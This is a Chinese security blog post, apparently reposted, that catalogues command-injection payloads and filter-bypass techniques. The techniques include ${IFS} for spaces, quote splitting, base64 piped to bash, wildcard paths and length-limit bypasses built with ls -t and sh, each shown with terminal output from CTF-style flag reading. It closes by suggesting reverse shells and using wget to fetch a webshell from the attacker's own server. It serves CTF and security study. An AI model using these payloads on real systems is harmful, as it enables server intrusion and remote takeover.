命令执行漏洞利用及绕过方式总结

  • A+
所属分类:安全文章

命令执行漏洞利用及绕过方式总结

命令执行漏洞利用及绕过方式总结


常见管道符



Windows系统支持的管道符

|直接执行后面的语句
命令执行漏洞利用及绕过方式总结


||如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
命令执行漏洞利用及绕过方式总结


&前面和后面命令都要执行,无论前面真假
命令执行漏洞利用及绕过方式总结


&&如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
命令执行漏洞利用及绕过方式总结


Linux系统支持的管道符

|、||、&、&&这四种管道符都存在且用法和Windows系统下一样,多了一个;管道符,作用和&一样


空格过滤


${IFS}

payload1:

[email protected]:~# cat flagthis is your flag[email protected]:~# cat${IFS}flagthis is your flag

payload2:

[email protected]:~# cat${IFS}$1flagthis is your flag

payload3:

[email protected]:~# cat$IFS$1flagthis is your flag


重定向符<>

payload1:

[email protected]:~# cat<>flagthis is your flag

payload2:

[email protected]:~# cat<flagthis is your flag

%09(需要php环境)

命令执行漏洞利用及绕过方式总结



黑名单绕过


拼接

[email protected]:~# a=c;b=at;c=fl;d=ag;$a$b $c$dthis is your flag


base64编码

payload1:

[email protected]:~# `echo "Y2F0IGZsYWc="|base64 -d`this is your flag

payload2:

[email protected]:~# echo "Y2F0IGZsYWc="|base64 -d|bashthis is your flag

单引号、双引号

[email protected]:~# c""at fl''agthis is your flag

反斜线

[email protected]:~# cat flagthis is your flag

$1、$2等和[email protected]

[email protected]:~# c$1at [email protected]hello ghtef01nice blckder02


读文件绕过

当cat被过滤时,可以使用如下命令代替


(1)more:一页一页的显示档案内容(2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页(3)head:查看头几行(4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示(5)tail:查看尾几行(6)nl:显示的时候,顺便输出行号(7)od:以二进制的方式读取档案内容(8)vi:一种编辑器,这个也可以查看(9)vim:一种编辑器,这个也可以查看(10)sort:可以查看(11)uniq:可以查看(12)file -f:报错出具体内容


通配符绕过

比如

[email protected]:~# /???/?[a][t] ?''?''?''?''this is your flagxxccxa/bin/cat: test: 是一个目录[email protected]:~# /???/?at flagthis is your flagxxccxa[email protected]:~# /???/?at ????this is your flagxxccxa/bin/cat: test: 是一个目录[email protected]:~# /???/?[a]''[t] ?''?''?''?''this is your flagxxccxa/bin/cat: test: 是一个目录

当然还有更过分的,2333,这些在CTF比赛中可能会用到



内敛执行绕过

`命令`和$(命令)都是执行命令的方式

[email protected]:~# echo "xx`pwd`"xx/root[email protected]:~# echo "xx$(pwd)"xx/root


绕过长度限制


Linux中的>符号和>>符号

(1)通过>来创建文件
命令执行漏洞利用及绕过方式总结
(2)通过>将命令结果存入文件中
使用>命令会将原有文件内容覆盖,如果是存入不存在的文件名,那么就会新建该文件再存入
命令执行漏洞利用及绕过方式总结
(3)>>符号的作用是将字符串添加到文件内容末尾,不会覆盖原内容
命令执行漏洞利用及绕过方式总结




Linux中命令换行

在Linux中,当我们执行文件中的命令的时候,我们通过在没有写完的命令后面加,可以将一条命令写在多行
比如一条命令cat flag可以如下表示

[email protected]:~# ca> t>  fl> agthis is your flag

命令执行漏洞利用及绕过方式总结

既然可以这样那我们是不是可以在某些限制长度的情况下执行命令,将命令一条一条输入一个文本中再执行,尝试一下

[email protected]:~# echo "ca\">cmd[email protected]:~# echo "t\">>cmd[email protected]:~# echo " fl\">>cmdroo[email protected]:~# echo "ag">>cmd[email protected]:~# cat cmdcat flag[email protected]:~# sh cmdthis is your flag

命令执行漏洞利用及绕过方式总结

用这种方法可以绕过一些长度限制读取文件内容


利用ls -t和>以及换行符绕过长度限制执行命令(文件构造绕过)

在linux中,我们使用ls -t命令后,可以将文件名按照时间顺序排列出来(后创建的排在前面)

[email protected]:~/example# touch a[email protected]:~/example# touch b[email protected]:~/example# touch c[email protected]:~/example# ls -tc  b  a

命令执行漏洞利用及绕过方式总结

我们来看看ls -t>ghtwf01有什么效果(开始不存在ghtwf01这个文件)

[email protected]:~/example# ls -t>ghtwf01[email protected]:~/example# cat ghtwf01 ghtwf01cba

命令执行漏洞利用及绕过方式总结

这条命令先执行了创建ghtwf01文件然后将ls -t的执行结果写入ghtwf01文件
我们试试用这些方法来执行命令cat flag

[email protected]:~/example# > "ag"[email protected]:~/example# > "fl\"[email protected]:~/example# > "t \"[email protected]:~/example# > "ca\"[email protected]:~/example# ls -t'ca'  't '  'fl'   ag   flag[email protected]:~/example# ls -t > a[email protected]:~/example# sh aa: 1: a: not foundthis is your flaga: 6: flag: not found

命令执行漏洞利用及绕过方式总结

读取到了flag内容为this is your flag,无论这个文件里面有不有其它内容都能执行
总而言之文件构造绕过就是如下知识:

linux下可以用 1>a创建文件名为a的空文件ls -t>test则会将目录按时间排序后写进test文件中sh命令可以从一个文件中读取命令来执行

反弹shell命令比较长就可以用这种方式去绕过长度限制
如果服务器能连外网还可以使用命令wget 网址 -O shell.php去执行我们自己vps上面的木马文件


作者:ghtwf01    

原文链接:https://www.ghtwf01.cn/index.php/archives/273/#menu_index_22

本文始发于微信公众号(LemonSec):命令执行漏洞利用及绕过方式总结

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: